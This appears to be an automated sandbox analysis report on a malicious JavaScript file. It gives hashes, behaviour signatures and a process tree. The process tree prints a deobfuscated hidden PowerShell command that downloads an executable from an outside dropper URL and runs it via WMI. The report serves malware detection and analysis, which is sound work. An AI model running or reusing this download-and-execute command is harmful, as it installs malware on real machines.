Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 01:30

General

  • Target

    694aa900342d5034dae5fa2f827b9b17_JaffaCakes118.js

  • Size

    29KB

  • MD5

    694aa900342d5034dae5fa2f827b9b17

  • SHA1

    4835871e45c19629e538de18859e14457a0f6b8e

  • SHA256

    3cef3dbe12c989dd856b06159a3ac80500e6606019a54befffbb679d3d0e0fa6

  • SHA512

    1ab13e034f7e940e8bcd6bc2b20553ac1fd6dc4df5dc9be3d274f7f27e67f8486f65c287583b5756306cf5cad7ede7018580ac1d787dd4506c3c95ea2aa786ee

  • SSDEEP

    768:v6s+l8vBYhSkm+722TdjI8MdlUXjz3m2+JTuA5gYTA0D/4MLI9nf+r:Cs+l8yJm+72LflWOgKZl

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://members.giftera.org/cVNbVdYMuS.php

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\694aa900342d5034dae5fa2f827b9b17_JaffaCakes118.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'TOPMarket 1.0.1'; $OE.downloadfile('http://members.giftera.org/cVNbVdYMuS.php','%temp%iXz46.exE'); INvoKe-WmiMethOd -CLaSs WiN32_Process -NamE CReatE -ARgUMentLiSt '%tEMP%iXz46.eXe'
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'TOPMarket 1.0.1'; $OE.downloadfile('http://members.giftera.org/cVNbVdYMuS.php','C:\Users\Admin\AppData\Local\TempiXz46.exE'); INvoKe-WmiMethOd -CLaSs WiN32_Process -NamE CReatE -ARgUMentLiSt 'C:\Users\Admin\AppData\Local\TempiXz46.eXe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3160

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ikekyhb.z2x.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3160-1-0x00007FFA8EAD3000-0x00007FFA8EAD5000-memory.dmp

    Filesize

    8KB

  • memory/3160-2-0x0000024E4FCE0000-0x0000024E4FD02000-memory.dmp

    Filesize

    136KB

  • memory/3160-12-0x00007FFA8EAD0000-0x00007FFA8F591000-memory.dmp

    Filesize

    10.8MB

  • memory/3160-13-0x00007FFA8EAD0000-0x00007FFA8F591000-memory.dmp

    Filesize

    10.8MB

  • memory/3160-16-0x00007FFA8EAD0000-0x00007FFA8F591000-memory.dmp

    Filesize

    10.8MB